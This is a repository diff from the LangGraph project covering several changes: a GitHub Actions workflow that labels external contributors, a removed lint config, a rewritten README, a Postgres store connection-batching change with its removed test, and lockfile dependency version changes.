processed++;
} catch (e) {
failures++;
core.warning(`Failed to process PR #${pr.number}: ${e.message}`);
}
}
}
// ── Backfill issues ──────────────────────────────────────────
if (backfillType === 'issues' || backfillType === 'both') {
const issues = await github.paginate(github.rest.issues.listForRepo, {
owner, repo, state: 'open', per_page: 100,
});
for (const issue of issues) {
if (processed >= maxItems) break;
if (issue.pull_request) continue;
try {
const author = issue.user.login;
const info = await getContributorInfo(contributorCache, author, issue.user.type);
const labels = [info.isExternal ? 'external' : 'internal'];
if (info.isExternal && info.mergedCount != null && info.mergedCount >= TRUSTED_THRESHOLD) {
labels.push('trusted-contributor');
}
// Ensure all labels exist before batch add
for (const name of labels) {
await ensureLabel(name);
}
// Remove stale tier labels
const currentLabels = (await github.paginate(
github.rest.issues.listLabelsOnIssue,
{ owner, repo, issue_number: issue.number, per_page: 100 },
)).map(l => l.name ?? '');
for (const name of currentLabels) {
if (tierLabels.includes(name) && !labels.includes(name)) {
try {
await github.rest.issues.removeLabel({
owner, repo, issue_number: issue.number, name,
});
} catch (e) {
if (e.status !== 404) throw e;
}
}
}
await github.rest.issues.addLabels({
owner, repo, issue_number: issue.number, labels,
});
console.log(`Issue #${issue.number} (${author}): ${labels.join(', ')}`);
processed++;
} catch (e) {
failures++;
core.warning(`Failed to process issue #${issue.number}: ${e.message}`);
}
}
}
console.log(`\nBackfill complete. Processed ${processed} items, ${failures} failures. ${contributorCache.size} unique authors.`);
-173
View File
@@ -1,173 +0,0 @@
# Automatically tag pull requests as "external" or "internal" based on
# whether the author is a member of the langchain-ai GitHub organization,
# and apply contributor tier labels to external contributors based on
# their merged PR history.
#
# Issue labeling is handled by tag-external-issues.yml.
# Backfill (workflow_dispatch) also lives in tag-external-issues.yml.
#
# Setup Requirements:
# 1. Create a GitHub App with permissions:
# - Repository: Pull requests (write)
# - Organization: Members (read)
# 2. Install the app on your organization and this repository
# 3. Add these repository secrets:
# - ORG_MEMBERSHIP_APP_ID: Your app's ID
# - ORG_MEMBERSHIP_APP_PRIVATE_KEY: Your app's private key
#
# The GitHub App token is required to check private organization membership.
# Without it, the workflow will fail.
name: Tag External PRs
on:
pull_request_target:
types: [opened]
permissions:
contents: read
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.run_id }}
cancel-in-progress: true
jobs:
tag-external:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Generate GitHub App token
id: app-token
uses: actions/create-github-app-token@v3
with:
app-id: ${{ secrets.ORG_MEMBERSHIP_APP_ID }}
private-key: ${{ secrets.ORG_MEMBERSHIP_APP_PRIVATE_KEY }}
- name: Check if contributor is external
if: steps.app-token.outcome == 'success'
id: check-membership
uses: actions/github-script@v8
with:
github-token: ${{ steps.app-token.outputs.token }}
script: |
const { owner, repo } = context.repo;
const author = context.payload.sender.login;
const senderType = context.payload.sender.type;
if (senderType === 'Bot') {
console.log(`${author} is a Bot — treating as internal`);
core.setOutput('is-external', 'false');
return;
}
try {
const membership = await github.rest.orgs.getMembershipForUser({
org: 'langchain-ai',
username: author,
});
const isExternal = membership.data.state !== 'active';
console.log(
isExternal
? `${author} has pending membership — treating as external`
: `${author} is an active member of langchain-ai`,
);
core.setOutput('is-external', isExternal ? 'true' : 'false');
} catch (e) {
if (e.status === 404) {
console.log(`${author} is not a member of langchain-ai`);
core.setOutput('is-external', 'true');
} else {
throw new Error(
`Membership check failed for ${author} (${e.status}): ${e.message}`,
);
}
}
# Apply tier label BEFORE the external label so that
# "trusted-contributor" is already present when the "external" labeled
# event fires and triggers require_issue_link.yml.
- name: Apply contributor tier label
if: steps.check-membership.outputs.is-external == 'true'
uses: actions/github-script@v8
with:
# Use App token so the "labeled" event propagates to downstream
# workflows (e.g. require_issue_link.yml).
github-token: ${{ steps.app-token.outputs.token }}
script: |
const { owner, repo } = context.repo;
const pr = context.payload.pull_request;
const author = pr.user.login;
const prNumber = pr.number;
const TRUSTED_THRESHOLD = 5;
const LABEL_COLOR = 'b76e79';
let mergedCount;
try {
const result = await github.rest.search.issuesAndPullRequests({
q: `repo:${owner}/${repo} is:pr is:merged author:"${author}"`,
per_page: 1,
});
mergedCount = result?.data?.total_count;
} catch (error) {
if (error?.status !== 422) throw error;
core.warning(`Search failed for ${author}; skipping tier label.`);
return;
}
if (mergedCount == null) {
core.warning(`Search response missing total_count for ${author}; skipping tier label.`);
return;
}
const tierLabel = mergedCount >= TRUSTED_THRESHOLD ? 'trusted-contributor' : null;
if (tierLabel) {
try {
await github.rest.issues.getLabel({ owner, repo, name: tierLabel });
} catch (e) {
if (e.status !== 404) throw e;
try {
await github.rest.issues.createLabel({ owner, repo, name: tierLabel, color: LABEL_COLOR });
} catch (createErr) {
if (createErr.status !== 422) throw createErr;
}
}
await github.rest.issues.addLabels({
owner, repo, issue_number: prNumber, labels: [tierLabel],
});
console.log(`Applied '${tierLabel}' to PR #${prNumber} (${mergedCount} merged PRs)`);
} else {
console.log(`No tier label for ${author} (${mergedCount} merged PRs)`);
}
- name: Add external label
if: steps.check-membership.outputs.is-external == 'true'
uses: actions/github-script@v8
with:
# Use App token so the "labeled" event propagates to downstream
# workflows (e.g. require_issue_link.yml). Events created by the
# default GITHUB_TOKEN do not trigger additional workflow runs.
github-token: ${{ steps.app-token.outputs.token }}
script: |
const { owner, repo } = context.repo;
const issue_number = context.payload.pull_request.number;
await github.rest.issues.addLabels({
owner, repo, issue_number, labels: ['external'],
});
console.log(`Added 'external' label to PR #${issue_number}`);
- name: Add internal label
if: steps.check-membership.outputs.is-external == 'false'
uses: actions/github-script@v8
with:
github-token: ${{ secrets.GITHUB_TOKEN }}
script: |
const { owner, repo } = context.repo;
const issue_number = context.payload.pull_request.number;
await github.rest.issues.addLabels({
owner, repo, issue_number, labels: ['internal'],
});
console.log(`Added 'internal' label to PR #${issue_number}`);
+4 -2
View File
@@ -19,16 +19,18 @@ jobs:
- uses: actions/checkout@v6
- name: Set up uv
uses: ./.github/actions/uv_setup
uses: astral-sh/setup-uv@v7
with:
# use minimum supported Python version
python-version: "3.10"
enable-cache: true
cache-suffix: "uv-lock-upgrade"
- name: Run uv lock --upgrade in all Python packages
run: make lock-upgrade
- name: Create Pull Request
uses: peter-evans/create-pull-request@c0f553fe549906ede9cf27b5156039d195d2ece0 # v8
uses: peter-evans/create-pull-request@v8
with:
token: ${{ secrets.GITHUB_TOKEN }}
commit-message: "chore(deps): upgrade dependencies with `uv lock --upgrade`"
-14
View File
@@ -1,14 +0,0 @@
{
"MD013": false,
"MD024": {
"siblings_only": true
},
"MD025": false,
"MD033": false,
"MD034": false,
"MD036": false,
"MD041": false,
"MD046": {
"style": "fenced"
}
}
+66 -54
View File
@@ -1,81 +1,93 @@
<div align="center">
<a href="https://www.langchain.com/langgraph">
<picture>
<source media="(prefers-color-scheme: dark)" srcset=".github/images/logo-dark.svg">
<source media="(prefers-color-scheme: light)" srcset=".github/images/logo-light.svg">
<img alt="LangGraph Logo" src=".github/images/logo-dark.svg" width="50%">
</picture>
</a>
</div>
<div align="center">
<h3>Low-level orchestration framework for building stateful agents.</h3>
</div>
<div align="center">
<a href="https://opensource.org/licenses/MIT" target="_blank"><img src="https://img.shields.io/pypi/l/langgraph" alt="PyPI - License"></a>
<a href="https://pypistats.org/packages/langgraph" target="_blank"><img src="https://img.shields.io/pepy/dt/langgraph" alt="PyPI - Downloads"></a>
<a href="https://pypi.org/project/langgraph/" target="_blank"><img src="https://img.shields.io/pypi/v/langgraph.svg?label=%20" alt="Version"></a>
<a href="https://x.com/langchain" target="_blank"><img src="https://img.shields.io/twitter/url/https/twitter.com/langchain.svg?style=social&label=Follow%20%40LangChain" alt="Twitter / X"></a>
</div>
<picture class="github-only">
<source media="(prefers-color-scheme: light)" srcset=".github/images/logo-light.svg">
<source media="(prefers-color-scheme: dark)" srcset=".github/images/logo-dark.svg">
<img alt="LangGraph Logo" src=".github/images/logo-dark.svg" width="50%">
</picture>
<div>
<br>
</div>
[![Version](https://img.shields.io/pypi/v/langgraph.svg)](https://pypi.org/project/langgraph/)
[![Downloads](https://static.pepy.tech/badge/langgraph/month)](https://pepy.tech/project/langgraph)
[![Open Issues](https://img.shields.io/github/issues-raw/langchain-ai/langgraph)](https://github.com/langchain-ai/langgraph/issues)
[![Docs](https://img.shields.io/badge/docs-latest-blue)](https://docs.langchain.com/oss/python/langgraph/overview)
Trusted by companies shaping the future of agents including Klarna, Replit, Elastic, and more LangGraph is a low-level orchestration framework for building, managing, and deploying long-running, stateful agents.
```bash
## Get started
Install LangGraph:
```
pip install -U langgraph
```
If you're looking to quickly build agents with LangChain's `create_agent` (built on LangGraph), check out the [LangChain Agents documentation](https://docs.langchain.com/oss/python/langchain/agents).
Create a simple workflow:
> [!NOTE]
> Looking for the JS/TS library? Check out [LangGraph.js](https://github.com/langchain-ai/langgraphjs) and the [JS docs](https://docs.langchain.com/oss/javascript/langgraph/overview).
```python
from langgraph.graph import START, StateGraph
from typing_extensions import TypedDict
## Why use LangGraph?
LangGraph provides low-level supporting infrastructure for *any* long-running, stateful workflow or agent:
class State(TypedDict):
text: str
- **[Durable execution](https://docs.langchain.com/oss/python/langgraph/durable-execution)** — Build agents that persist through failures and can run for extended periods, automatically resuming from exactly where they left off.
- **[Human-in-the-loop](https://docs.langchain.com/oss/python/langgraph/interrupts)** — Seamlessly incorporate human oversight by inspecting and modifying agent state at any point during execution.
- **[Comprehensive memory](https://docs.langchain.com/oss/python/langgraph/memory)** — Create truly stateful agents with both short-term working memory for ongoing reasoning and long-term persistent memory across sessions.
- **[Debugging with LangSmith](https://www.langchain.com/langsmith)** — Gain deep visibility into complex agent behavior with visualization tools that trace execution paths, capture state transitions, and provide detailed runtime metrics.
- **[Production-ready deployment](https://docs.langchain.com/langsmith/deployments)** — Deploy sophisticated agent systems confidently with scalable infrastructure designed to handle the unique challenges of stateful, long-running workflows.
def node_a(state: State) -> dict:
return {"text": state["text"] + "a"}
def node_b(state: State) -> dict:
return {"text": state["text"] + "b"}
graph = StateGraph(State)
graph.add_node("node_a", node_a)
graph.add_node("node_b", node_b)
graph.add_edge(START, "node_a")
graph.add_edge("node_a", "node_b")
print(graph.compile().invoke({"text": ""}))
# {'text': 'ab'}
```
Get started with the [LangGraph Quickstart](https://docs.langchain.com/oss/python/langgraph/quickstart).
To quickly build agents with LangChain's `create_agent` (built on LangGraph), see the [LangChain Agents documentation](https://docs.langchain.com/oss/python/langchain/agents).
> [!TIP]
> For developing, debugging, and deploying AI agents and LLM applications, see [LangSmith](https://docs.langchain.com/langsmith/home).
## LangGraph ecosystem
## Core benefits
While LangGraph can be used standalone, it also integrates seamlessly with any LangChain product, giving developers a full suite of tools for building agents.
LangGraph provides low-level supporting infrastructure for *any* long-running, stateful workflow or agent. LangGraph does not abstract prompts or architecture, and provides the following central benefits:
To improve your LLM application development, pair LangGraph with:
- [Durable execution](https://docs.langchain.com/oss/python/langgraph/durable-execution): Build agents that persist through failures and can run for extended periods, automatically resuming from exactly where they left off.
- [Human-in-the-loop](https://docs.langchain.com/oss/python/langgraph/interrupts): Seamlessly incorporate human oversight by inspecting and modifying agent state at any point during execution.
- [Comprehensive memory](https://docs.langchain.com/oss/python/langgraph/memory): Create truly stateful agents with both short-term working memory for ongoing reasoning and long-term persistent memory across sessions.
- [Debugging with LangSmith](http://www.langchain.com/langsmith): Gain deep visibility into complex agent behavior with visualization tools that trace execution paths, capture state transitions, and provide detailed runtime metrics.
- [Production-ready deployment](https://docs.langchain.com/langsmith/app-development): Deploy sophisticated agent systems confidently with scalable infrastructure designed to handle the unique challenges of stateful, long-running workflows.
- [Deep Agents](https://github.com/langchain-ai/deepagents) *(new!)* Build agents that can plan, use subagents, and leverage file systems for complex tasks.
## LangGraphs ecosystem
While LangGraph can be used standalone, it also integrates seamlessly with any LangChain product, giving developers a full suite of tools for building agents. To improve your LLM application development, pair LangGraph with:
- [LangSmith](http://www.langchain.com/langsmith) — Helpful for agent evals and observability. Debug poor-performing LLM app runs, evaluate agent trajectories, gain visibility in production, and improve performance over time.
- [LangSmith Deployment](https://docs.langchain.com/langsmith/deployments) — Deploy and scale agents effortlessly with a purpose-built deployment platform for long running, stateful workflows. Discover, reuse, configure, and share agents across teams — and iterate quickly with visual prototyping in [LangGraph Studio](https://docs.langchain.com/oss/python/langgraph/studio).
- [LangChain](https://docs.langchain.com/oss/python/langchain/overview) Provides integrations and composable components to streamline LLM application development.
- [LangSmith](https://www.langchain.com/langsmith) Helpful for agent evals and observability. Debug poor-performing LLM app runs, evaluate agent trajectories, gain visibility in production, and improve performance over time.
- [LangSmith Deployment](https://docs.langchain.com/langsmith/deployments) Deploy and scale agents effortlessly with a purpose-built deployment platform for long-running, stateful workflows. Discover, reuse, configure, and share agents across teams and iterate quickly with visual prototyping in [LangSmith Studio](https://docs.langchain.com/langsmith/studio).
---
## Documentation
- [docs.langchain.com](https://docs.langchain.com/oss/python/langgraph/overview) Comprehensive documentation, including conceptual overviews and guides
- [reference.langchain.com/python/langgraph](https://reference.langchain.com/python/langgraph) API reference docs for LangGraph packages
- [LangGraph Quickstart](https://docs.langchain.com/oss/python/langgraph/quickstart) Get started building with LangGraph
- [Chat LangChain](https://chat.langchain.com/) Chat with the LangChain documentation and get answers to your questions
**Discussions**: Visit the [LangChain Forum](https://forum.langchain.com) to connect with the community and share all of your technical questions, ideas, and feedback.
> [!NOTE]
> Looking for the JS version of LangGraph? See the [JS repo](https://github.com/langchain-ai/langgraphjs) and the [JS docs](https://docs.langchain.com/oss/javascript/langgraph/overview).
## Additional resources
- **[Guides](https://docs.langchain.com/oss/python/learn)** Quick, actionable code snippets for topics such as streaming, adding memory & persistence, and design patterns (e.g. branching, subgraphs, etc.).
- **[LangChain Academy](https://academy.langchain.com/courses/intro-to-langgraph)** Learn the basics of LangGraph in our free, structured course.
- **[Case studies](https://www.langchain.com/built-with-langgraph)** Hear how industry leaders use LangGraph to ship AI applications at scale.
- [Contributing Guide](https://docs.langchain.com/oss/python/contributing/overview) Learn how to contribute to LangChain projects and find good first issues.
- [Code of Conduct](https://github.com/langchain-ai/langchain/?tab=coc-ov-file) Our community guidelines and standards for participation.
---
- [Guides](https://docs.langchain.com/oss/python/langgraph/overview): Quick, actionable code snippets for topics such as streaming, adding memory & persistence, and design patterns (e.g. branching, subgraphs, etc.).
- [Reference](https://reference.langchain.com/python/langgraph/): Detailed reference on core classes, methods, how to use the graph and checkpointing APIs, and higher-level prebuilt components.
- [Examples](https://docs.langchain.com/oss/python/langgraph/agentic-rag): Guided examples on getting started with LangGraph.
- [LangChain Forum](https://forum.langchain.com/): Connect with the community and share all of your technical questions, ideas, and feedback.
- [LangChain Academy](https://academy.langchain.com/courses/intro-to-langgraph): Learn the basics of LangGraph in our free, structured course.
- [Case studies](https://www.langchain.com/built-with-langgraph): Hear how industry leaders use LangGraph to ship AI applications at scale.
## Acknowledgements
@@ -89,7 +89,7 @@ async def put_test_checkpoint(
vals = channel_values or {}
cv = channel_versions
if cv is None and vals:
cv: ChannelVersions = {k: 1 for k in vals}
cv = {k: 1 for k in vals}
cp["channel_versions"] = cv
nv = new_versions
if nv is None:
+49 -49
View File
@@ -231,7 +231,7 @@ wheels = [
[[package]]
name = "langchain-core"
version = "1.2.22"
version = "1.2.13"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "jsonpatch" },
@@ -243,22 +243,22 @@ dependencies = [
{ name = "typing-extensions" },
{ name = "uuid-utils" },
]
sdist = { url = "https://files.pythonhosted.org/packages/b1/a3/c4cd6827a1df46c821e7214b7f7b7a28b189e6c9b84ef15c6d629c5e3179/langchain_core-1.2.22.tar.gz", hash = "sha256:8d8f726d03d3652d403da915126626bb6250747e8ba406537d849e68b9f5d058", size = 842487, upload-time = "2026-03-24T18:48:44.9Z" }
sdist = { url = "https://files.pythonhosted.org/packages/fb/bb/c501ca60556c11ac80d1454bdcac63cb33583ce4e64fc4535ad5a7d5c6ba/langchain_core-1.2.13.tar.gz", hash = "sha256:d2773d0d0130a356378db9a858cfeef64c3d64bc03722f1d4d6c40eb46fdf01b", size = 831612, upload-time = "2026-02-15T07:45:57.014Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/c7/a6/2ffacf0f1a3788f250e75d0b52a24896c413be11be3a6d42bcdf46fbea48/langchain_core-1.2.22-py3-none-any.whl", hash = "sha256:7e30d586b75918e828833b9ec1efc25465723566845dd652c277baf751e9c04b", size = 506829, upload-time = "2026-03-24T18:48:43.286Z" },
{ url = "https://files.pythonhosted.org/packages/12/ab/60fd69e5d55f67d422baefddaaca523c42cd7510ab6aeb17db6ae57fb107/langchain_core-1.2.13-py3-none-any.whl", hash = "sha256:b31823e28d3eff1e237096d0bd3bf80c6f9624eb471a9496dbfbd427779f8d82", size = 500485, upload-time = "2026-02-15T07:45:55.422Z" },
]
[[package]]
name = "langgraph-checkpoint"
version = "4.0.1"
version = "4.0.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "langchain-core" },
{ name = "ormsgpack" },
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@@ -164,11 +164,12 @@ class AsyncPostgresStore(AsyncBatchedBaseStore, BasePostgresStore[_ainternal.Con
grouped_ops, num_ops = _group_ops(ops)
results: list[Result] = [None] * num_ops
if self.pipe:
async with self.pipe:
await self._execute_batch(grouped_ops, results)
else:
await self._execute_batch(grouped_ops, results)
async with _ainternal.get_connection(self.conn) as conn:
if self.pipe:
async with self.pipe:
await self._execute_batch(grouped_ops, results, conn)
else:
await self._execute_batch(grouped_ops, results, conn)
return results
@@ -409,10 +410,8 @@ class AsyncPostgresStore(AsyncBatchedBaseStore, BasePostgresStore[_ainternal.Con
self,
grouped_ops: dict,
results: list[Result],
conn: AsyncConnection[DictRow] | None = None,
conn: AsyncConnection[DictRow],
) -> None:
# Keep `conn` for compatibility with subclasses overriding this private hook.
# All database I/O goes through `_cursor()`, which owns connection acquisition.
async with self._cursor(pipeline=True) as cur:
if GetOp in grouped_ops:
await self._batch_get_ops(
+1 -1
View File
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
[project]
name = "langgraph-checkpoint-postgres"
version = "3.0.5"
version = "3.0.4"
description = "Library with a Postgres implementation of LangGraph checkpoint saver."
authors = []
requires-python = ">=3.10"
@@ -20,7 +20,6 @@ from langgraph.store.base import (
)
from psycopg import AsyncConnection
from langgraph.checkpoint.postgres import _ainternal
from langgraph.store.postgres import AsyncPostgresStore
from tests.conftest import (
DEFAULT_URI,
@@ -347,59 +346,6 @@ async def test_batch_list_namespaces_ops(store: AsyncPostgresStore) -> None:
assert ("test", "namespace2") in results[0]
@asynccontextmanager
async def _create_pool_store() -> AsyncIterator[AsyncPostgresStore]:
database = f"test_{uuid.uuid4().hex[:16]}"
uri_parts = DEFAULT_URI.split("/")
uri_base = "/".join(uri_parts[:-1])
query_params = ""
if "?" in uri_parts[-1]:
_, query_params = uri_parts[-1].split("?", 1)
query_params = "?" + query_params
conn_string = f"{uri_base}/{database}{query_params}"
admin_conn_string = DEFAULT_URI
async with await AsyncConnection.connect(
admin_conn_string, autocommit=True
) as conn:
await conn.execute(f"CREATE DATABASE {database}")
try:
async with AsyncPostgresStore.from_conn_string(
conn_string, pool_config={"min_size": 1, "max_size": 1}
) as store:
await store.setup()
yield store
finally:
async with await AsyncConnection.connect(
admin_conn_string, autocommit=True
) as conn:
await conn.execute(f"DROP DATABASE {database}")
async def test_abatch_uses_single_pool_checkout(monkeypatch) -> None:
async with _create_pool_store() as store:
await store.aput(("test",), "key1", {"data": "value1"})
original_get_connection = _ainternal.get_connection
checkout_count = 0
@asynccontextmanager
async def counting_get_connection(conn):
nonlocal checkout_count
checkout_count += 1
async with original_get_connection(conn) as checked_out_conn:
yield checked_out_conn
monkeypatch.setattr(_ainternal, "get_connection", counting_get_connection)
results = await store.abatch([GetOp(namespace=("test",), key="key1")])
assert len(results) == 1
assert results[0] is not None
assert results[0].value == {"data": "value1"}
assert checkout_count == 1
@asynccontextmanager
async def _create_vector_store(
vector_type: str,
+35 -35
View File
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while item := await aqueue.get():
# don't run batch if the future is done (e.g. cancelled)
if item[0].done():
continue
# check if store is still alive
if s := store():
try:
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items = [item]
try:
while item := aqueue.get_nowait():
# don't insert if the future is done (e.g. cancelled)
if item[0].done():
continue
items.append(item)
except asyncio.QueueEmpty:
pass
+109 -109
View File
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View File
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File diff suppressed because it is too large Load Diff
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+5 -5
View File
@@ -17,18 +17,18 @@
"lint": "eslint 'apps/**/*.ts' 'libs/**/*.ts'"
},
"devDependencies": {
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"turbo": "^2.8.10",
"typescript": "^5.9.3",
"@tsconfig/recommended": "^1.0.13",
"@eslint/eslintrc": "^3.3.5",
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"eslint": "^10.1.0",
"eslint": "^10.0.1",
"eslint-config-prettier": "^10.1.8",
"eslint-plugin-import": "^2.27.5",
"eslint-plugin-no-instanceof": "^1.0.1",
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"@typescript-eslint/parser": "^8.56.0",
"prettier": "^3.8.1"
}
}
+200 -192
View File
@@ -19,42 +19,42 @@
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dependencies:
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dependencies:
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ajv "^6.12.4"
debug "^4.3.2"
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globals "^14.0.0"
ignore "^5.2.0"
import-fresh "^3.2.1"
js-yaml "^4.1.1"
minimatch "^3.1.5"
minimatch "^3.1.2"
strip-json-comments "^3.1.1"
"@eslint/js@^10.0.1":
@@ -62,17 +62,17 @@
resolved "https://registry.yarnpkg.com/@eslint/js/-/js-10.0.1.tgz#1e8a876f50117af8ab67e47d5ad94d38d6622583"
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dependencies:
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"@eslint/core" "^1.1.0"
levn "^0.4.1"
"@humanfs/core@^0.19.1":
@@ -103,13 +103,12 @@
resolved "https://registry.yarnpkg.com/@isaacs/cliui/-/cliui-9.0.0.tgz#4d0a3f127058043bf2e7ee169eaf30ed901302f3"
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resolved "https://registry.yarnpkg.com/@langchain/core/-/core-1.1.35.tgz#4c681cc9af3d59d139f6272768dd30361dccd518"
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"@langchain/core@^1.1.27":
version "1.1.27"
resolved "https://registry.yarnpkg.com/@langchain/core/-/core-1.1.27.tgz#b5a05c014eef2973006fd9e0df1e135b9da640e2"
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dependencies:
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"@standard-schema/spec" "^1.1.0"
ansi-styles "^5.0.0"
camelcase "6"
decamelize "1.2.0"
@@ -117,33 +116,33 @@
langsmith ">=0.5.0 <1.0.0"
mustache "^4.2.0"
p-queue "^6.6.2"
uuid "^11.1.0"
uuid "^10.0.0"
zod "^3.25.76 || ^4"
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resolved "https://registry.yarnpkg.com/@langchain/langgraph-checkpoint/-/langgraph-checkpoint-1.0.1.tgz#0ee5bdfeb9878d8d1d99347f23e199e5afd52995"
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"@langchain/langgraph-checkpoint@^1.0.0":
version "1.0.0"
resolved "https://registry.yarnpkg.com/@langchain/langgraph-checkpoint/-/langgraph-checkpoint-1.0.0.tgz#ece2ede439d0d0b0b532c4be7817fd5029afe4f8"
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dependencies:
uuid "^10.0.0"
"@langchain/langgraph-sdk@~1.8.0":
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resolved "https://registry.yarnpkg.com/@langchain/langgraph-sdk/-/langgraph-sdk-1.8.0.tgz#aa62fd641a4ef964a57cea7a7c11e662e8082fb8"
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"@langchain/langgraph-sdk@~2.0.0":
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resolved "https://registry.yarnpkg.com/@langchain/langgraph-sdk/-/langgraph-sdk-2.0.0.tgz#55ac46373aa4917443d92c8b2edd5efd162bc879"
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dependencies:
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p-queue "^9.0.1"
p-retry "^7.1.1"
uuid "^13.0.0"
"@langchain/langgraph@^1.2.5":
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resolved "https://registry.yarnpkg.com/@langchain/langgraph/-/langgraph-1.2.5.tgz#f4285b77baee945092795c2989bdd6589dc5b142"
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"@langchain/langgraph@^1.1.5":
version "1.1.5"
resolved "https://registry.yarnpkg.com/@langchain/langgraph/-/langgraph-1.1.5.tgz#7cab6c585b5e60ac52e70ef941ba6054f45b0d88"
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dependencies:
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"@standard-schema/spec" "1.1.0"
uuid "^10.0.0"
@@ -157,7 +156,7 @@
resolved "https://registry.yarnpkg.com/@rtsao/scc/-/scc-1.1.0.tgz#927dd2fae9bc3361403ac2c7a00c32ddce9ad7e8"
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"@standard-schema/spec@1.1.0", "@standard-schema/spec@^1.1.0":
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version "1.1.0"
resolved "https://registry.yarnpkg.com/@standard-schema/spec/-/spec-1.1.0.tgz#a79b55dbaf8604812f52d140b2c9ab41bc150bb8"
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@@ -167,36 +166,6 @@
resolved "https://registry.yarnpkg.com/@tsconfig/recommended/-/recommended-1.0.13.tgz#269fce3ad04ca70b93269ff44cca81b950f542da"
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"@turbo/darwin-arm64@2.8.20":
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"@turbo/linux-64@2.8.20":
version "2.8.20"
resolved "https://registry.yarnpkg.com/@turbo/linux-64/-/linux-64-2.8.20.tgz#51faba95b242731b0beae9811724b3eeee6aa0a1"
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resolved "https://registry.yarnpkg.com/@turbo/windows-arm64/-/windows-arm64-2.8.20.tgz#8032d42c6cfd954d3c381720d5a65dc3e7ea3014"
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resolved "https://registry.yarnpkg.com/@types/esrecurse/-/esrecurse-4.3.1.tgz#6f636af962fbe6191b830bd676ba5986926bccec"
@@ -222,100 +191,100 @@
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version "8.57.1"
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version "8.57.1"
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"@typescript-eslint/type-utils@8.56.0":
version "8.56.0"
resolved "https://registry.yarnpkg.com/@typescript-eslint/type-utils/-/type-utils-8.56.0.tgz#72b4edc1fc73988998f1632b3ec99c2a66eaac6e"
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"@typescript-eslint/typescript-estree" "8.57.1"
"@typescript-eslint/utils" "8.57.1"
"@typescript-eslint/types" "8.56.0"
"@typescript-eslint/typescript-estree" "8.56.0"
"@typescript-eslint/utils" "8.56.0"
debug "^4.4.3"
ts-api-utils "^2.4.0"
"@typescript-eslint/types@8.57.1", "@typescript-eslint/types@^8.57.1":
version "8.57.1"
resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-8.57.1.tgz#54b27a8a25a7b45b4f978c3f8e00c4c78f11142c"
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"@typescript-eslint/types@8.56.0", "@typescript-eslint/types@^8.56.0":
version "8.56.0"
resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-8.56.0.tgz#a2444011b9a98ca13d70411d2cbfed5443b3526a"
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"@typescript-eslint/typescript-estree@8.57.1":
version "8.57.1"
resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-8.57.1.tgz#a9fd28d4a0ec896aa9a9a7e0cead62ea24f99e76"
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"@typescript-eslint/typescript-estree@8.56.0":
version "8.56.0"
resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-8.56.0.tgz#fadbc74c14c5bac947db04980ff58bb178701c2e"
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dependencies:
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"@typescript-eslint/tsconfig-utils" "8.57.1"
"@typescript-eslint/types" "8.57.1"
"@typescript-eslint/visitor-keys" "8.57.1"
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"@typescript-eslint/tsconfig-utils" "8.56.0"
"@typescript-eslint/types" "8.56.0"
"@typescript-eslint/visitor-keys" "8.56.0"
debug "^4.4.3"
minimatch "^10.2.2"
minimatch "^9.0.5"
semver "^7.7.3"
tinyglobby "^0.2.15"
ts-api-utils "^2.4.0"
"@typescript-eslint/utils@8.57.1":
version "8.57.1"
resolved "https://registry.yarnpkg.com/@typescript-eslint/utils/-/utils-8.57.1.tgz#e40f5a7fcff02fd24092a7b52bd6ec029fb50465"
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"@typescript-eslint/utils@8.56.0":
version "8.56.0"
resolved "https://registry.yarnpkg.com/@typescript-eslint/utils/-/utils-8.56.0.tgz#063ce6f702ec603de1b83ee795ed5e877d6f7841"
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dependencies:
"@eslint-community/eslint-utils" "^4.9.1"
"@typescript-eslint/scope-manager" "8.57.1"
"@typescript-eslint/types" "8.57.1"
"@typescript-eslint/typescript-estree" "8.57.1"
"@typescript-eslint/scope-manager" "8.56.0"
"@typescript-eslint/types" "8.56.0"
"@typescript-eslint/typescript-estree" "8.56.0"
"@typescript-eslint/visitor-keys@8.57.1":
version "8.57.1"
resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-8.57.1.tgz#3af4f88118924d3be983d4b8ae84803f11fe4563"
integrity sha512-YWnmJkXbofiz9KbnbbwuA2rpGkFPLbAIetcCNO6mJ8gdhdZ/v7WDXsoGFAJuM6ikUFKTlSQnjWnVO4ux+UzS6A==
"@typescript-eslint/visitor-keys@8.56.0":
version "8.56.0"
resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-8.56.0.tgz#7d6592ab001827d3ce052155edf7ecad19688d7d"
integrity sha512-q+SL+b+05Ud6LbEE35qe4A99P+htKTKVbyiNEe45eCbJFyh/HVK9QXwlrbz+Q4L8SOW4roxSVwXYj4DMBT7Ieg==
dependencies:
"@typescript-eslint/types" "8.57.1"
"@typescript-eslint/types" "8.56.0"
eslint-visitor-keys "^5.0.0"
acorn-jsx@^5.3.2:
@@ -333,10 +302,10 @@ acorn@^8.16.0:
resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.16.0.tgz#4ce79c89be40afe7afe8f3adb902a1f1ce9ac08a"
integrity sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==
ajv@^6.14.0:
version "6.14.0"
resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.14.0.tgz#fd067713e228210636ebb08c60bd3765d6dbe73a"
integrity sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==
ajv@^6.12.4:
version "6.12.6"
resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.6.tgz#baf5a62e802b07d977034586f8c3baf5adf26df4"
integrity sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==
dependencies:
fast-deep-equal "^3.1.1"
fast-json-stable-stringify "^2.0.0"
